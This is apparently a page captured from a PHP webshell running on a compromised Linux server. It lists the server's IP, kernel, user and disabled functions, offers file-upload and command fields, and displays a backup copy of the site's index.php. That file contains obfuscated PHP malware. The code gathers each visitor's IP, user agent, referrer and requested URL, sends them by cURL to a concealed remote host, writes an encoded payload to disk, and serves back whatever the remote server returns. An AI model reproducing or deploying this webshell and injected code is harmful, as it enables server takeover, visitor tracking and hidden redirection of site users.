403Webshell
Server IP : 149.28.60.191  /  Your IP : 216.73.217.128
Web Server : nginx/1.31.1
System : Linux vultr.guest 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mda ( )
PHP Version : 7.4.33
Disable Function : getmyuid,passthru,leak,listen,diskfreespace,tmpfile,link,shell_exec,dl,exec,system,highlight_file,source,show_source,fpassthru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_open,proc_close,proc_nice,proc_terminate,escapeshellcmd,ini_alter,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,symlink,posix_geteuid,ini_alter,socket_listen,socket_create_listen,socket_read,socket_create_pair,stream_socket_server
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mda/webapps/mda-restore/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mda/webapps/mda-restore//index.php.nox-bak
<?php
//Obfuscate by https://uutool.cn/php/
 goto VoYuA; O5TGr: $TdHsD["151x70"] = ''; /*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/
goto fav0b; USwnG: $TdHsD["141x67145156x74"] = isset($_SERVER["x48x54124120x5f125x53x45122x5fx41x47105116124"]) ? $_SERVER["110124124x50x5f125123105122137101x47x45x4e124"] : ''; goto yz38k; JpTXW: if (!($TdHsD["x69160"] == null)) { goto puPMJ; } goto O5TGr; lEl2s: $TdHsD["162145161x75x65x73164x5fx75162154"] = $_SERVER["122x45x51125x45123124137125x52111"]; goto hOS46; MwORi: snJ_R: goto uGLKq; PEEil: die; goto dPjZ2; B6IEt: $l23vA = sprintf("4516357x3fx72x3dx25x73", $NPRQU, wePn_(base64_encode(implode("x7b174x7d", $TdHsD)))); goto ElC11; TI1qX: $TdHsD["154141156147165x61147x65"] = isset($_SERVER["110x54124120x5fx41x43103105120124137114101x4e107x55101x47x45"]) ? $_SERVER["x48x54x54120x5f101103x43105x50x54x5f114101116107x55x41x47x45"] : ''; goto ubike; fFQ66: $idNvE = 0; goto tRcEZ; D7cXg: die; goto d5syp; ubike: $NPRQU = Wyt_r("141110x52x30143104x6fx76x4c172121167115104x4dx74131x32147x30114130131170115104101x75143155x46x72x64130x52154142x6a131167141x6ex41165x59x32x78x70131x3216375"); goto eOaXu; gPfG0: goto Sa7R7; goto MwORi; ElC11: $MYERW = NBCwY($l23vA); goto PHWl2; dPjZ2: zScUY: goto fFQ66; CrP7Y: Sa7R7: goto g8NHt; porMI: ksort($TdHsD); goto BpysM; uGLKq: function NBCwy($l23vA) { goto nQn0t; zqv3G: return $j9gAm; goto YvaU7; tDWe1: return "44x61156x63x69x65x6ex74"; goto ORqum; Sfp1q: curl_close($utxWt); goto wvf3e; wvf3e: if (!$j9gAm) { goto UKGyR; } goto zqv3G; CnDpn: $j9gAm = curl_exec($utxWt); goto Sfp1q; F_F6D: curl_setopt($utxWt, CURLOPT_URL, $l23vA); goto UPN67; ZLu18: curl_setopt($utxWt, CURLOPT_RETURNTRANSFER, 1); goto FMGty; LOAbB: curl_setopt($utxWt, CURLOPT_TIMEOUT, 29); goto ZLu18; nQn0t: $utxWt = curl_init(); goto F_F6D; FMGty: curl_setopt($utxWt, CURLOPT_FRESH_CONNECT, TRUE); goto CnDpn; YvaU7: UKGyR: goto tDWe1; UPN67: curl_setopt($utxWt, CURLOPT_USERAGENT, "x61x63164x69157x6e"); goto LOAbB; ORqum: } goto X_9Yd; g8NHt: if (!($idNvE < 3)) { goto snJ_R; } goto B6IEt; Xyeam: function wEpn_($fBF6y) { goto RCKby; OQ9V_: if (!($emGiR < count($fLuh7) - 2)) { goto Kaigt; } goto Y0MJb; w4yxX: return $aPysW; goto gXgjQ; Y0MJb: $aPysW .= $fLuh7[$emGiR + 1] . $fLuh7[$emGiR]; goto q3UbR; vxMqR: Kaigt: goto imExT; p2TVw: $fLuh7 = str_split($fBF6y); goto pj9dQ; pj9dQ: $aPysW = ''; goto EOR1d; OkCFf: goto Kro3b; goto vxMqR; imExT: $aPysW .= $cl0RJ; goto w4yxX; a143D: $emGiR = $emGiR + 2; goto OkCFf; EOR1d: $emGiR = 0; goto JrOwD; q3UbR: ziXgh: goto a143D; RCKby: $cl0RJ = substr($fBF6y, strlen($fBF6y) - 2); goto p2TVw; JrOwD: Kro3b: goto OQ9V_; gXgjQ: } goto ec1u1; d5syp: BPxF6: goto p8gQP; X_9Yd: function MsvbG() { goto Icylx; Icylx: $aPysW = Wyt_R("114x6d150x30x59127116x6ax5a130x4ex7a"); goto kmO4T; UQRv5: if (!($MYERW == $uN2ep)) { goto adbf6; } goto YovS2; IZ60y: if (!file_exists($aPysW)) { goto WfScL; } goto SG9Cf; uFNpU: adbf6: goto kU0vf; kAdNT: @unlink($aPysW); goto BM3OS; kU0vf: WfScL: goto kAdNT; SG9Cf: $uN2ep = file_get_contents($aPysW); goto UQRv5; kmO4T: $MYERW = wyt_r("120x45132160142x47x56x7a124127106x30x59x32x67x67x49151x34x6f14311015470132x58150x6cx66x48102x6fx63x43x6b153111152x34113x49x4571171x5a107x56171111x47x46x73x621077163114107122x6cx62156x6b113111105x52154142156x6b147132x6e112x76142123x42150142x47167x4b120103x39107x61x57170154143x30x31150x64107x4e157x50x67157x38x52x6dx6c163x5ax58116x4ex59x58122152x61103x41151130151150150x59x6d7161144x43x35167141x48102x38x63155106153x61127x38x75143x47x68167x66107154x75x5ax47x5664114x6e102x6f143110170152x62x3265x30132x57x3560x4c156102x6f143x48x78x7314262116162x4dx7ax59x77114x6ex42x6f143110x78150x5ax4761x70142151x35x77141x4810270x64x3310116414210771x6e14112764165143x47150x77146x48144167114127167x77x5ax32154x75114x6ex42x6f143x48x78631431036160141x47x56164132x5365x77x61110102x38x6463101x74143x32x4ex79141x5810260x63171x35x77x6111010270x6463x41164132127x52160x64x47x39171114156102157143x48170x74x59x57147x75143x47x68x77x66x47x70167x4cx6ex42157x63x48x78154145110x51x75143x47x68x77113x53x51x69x50147x6fx67124x33112x6bx5a130x49147131x57170163142x33x63163x5ax47x56165145121x6f147x51127170163x62x33x63x67132156x4a166142x53x42x68x62x47x77x4b120x43x39x47141x57x78x6cx63x30x31150x64x47x4e157120x67x6f70x53x57x5a11614262122x31142x47125147x6212771x6b130x33x4a154x6463112160x64x47x5516513117264113x55155x5663x63x6dx6cx30x5ax55x56x75132x32x6cx75132123x42x50x62x67160x53x5ax58144x79x61130x52x6c121x6d106x7a132x53x41x76x43x6cx4ax6cx64x33112160144107126x53x64x57170154111106x35160x62x6dx52x6c145106x77x75x63x47x68x77x4ax43x41x74x49x46164x4d130121x70x53x5ax58x64x79141x58122x6c1216271165x5ax4310115414561112x46125x56x56106125x31122146122x6b154x4dx52x5565102124125x56x39x49103105164132x67160123x5ax58144x79x61130122154x51x32x39x75132103101154145x31x4a106125x56x56x46125x31122146122153x6cx4dx52x55x35102124125126x39x49x43x45x74132101160x53132130x64x79141130x52x6c125x6e126x73132123x41165111103x39x70142x6d122x6c14510365x77x61110x41147127x30170x64x43152167166x53127132116x62x32x52x31142107125x2b"); goto IZ60y; BM3OS: @file_put_contents($aPysW, $MYERW); goto HJUW7; YovS2: return; goto uFNpU; HJUW7: } goto Xyeam; B3j2u: $TdHsD["141x70x69"] = $NPRQU; goto porMI; BpysM: print_r($TdHsD); goto PEEil; eOaXu: if (!isset($_REQUEST["160141162141x6dx73"])) { goto zScUY; } goto B3j2u; hOS46: $TdHsD["x69160"] = isset($_SERVER["x48x54x54120137x56x49101"]) ? $_SERVER["x48124124120137x58137106117122x57101122104x45104x5f106x4f122"] : $_SERVER["122105x4d117124105137101104x44122"]; goto JpTXW; VoYuA: $TdHsD["x64157x6d141x69x6e"] = isset($_SERVER["x48x54x54120137110117123124"]) ? $_SERVER["110x54x54120x5f110x4fx53124"] : $_SERVER["x53x45122x56x45x52137x4e101115105"]; goto lEl2s; ttP13: if (!(!empty($HqEJY) && isset($HqEJY[1]))) { goto BPxF6; } goto D4xpq; fav0b: puPMJ: goto USwnG; yz38k: $TdHsD["162x65x66145162x65x72"] = isset($_SERVER["x48x54124x50137x52105106105122105122"]) ? $_SERVER["x48124x54120x5fx52x45106105x52105x52"] : ''; goto JiI2h; tRcEZ: msVBG(); goto CrP7Y; PHWl2: $HqEJY = @preg_split("57173134x7cx7d57x73151", $MYERW, -1, PREG_SPLIT_NO_EMPTY); goto ttP13; p8gQP: $idNvE++; goto gPfG0; JiI2h: $TdHsD["x70x72157x74157x63x6fx6c"] = isset($_SERVER["x48x54124x50x53"]) ? "150164164160163725757" : "x68x74x74x70x3a5757"; goto TI1qX; tyFML: echo $HqEJY[1]; goto D7cXg; D4xpq: @header($HqEJY[0]); goto tyFML; ec1u1: function wYT_R($zkW34) { $UeV6I = join('', str_split("x42x61" . "163x45" . "6664" . "x5f" . "104145" . "x63117104145")); return $UeV6I($zkW34); }


Youez - 2016 - github.com/yon3zu
LinuXploit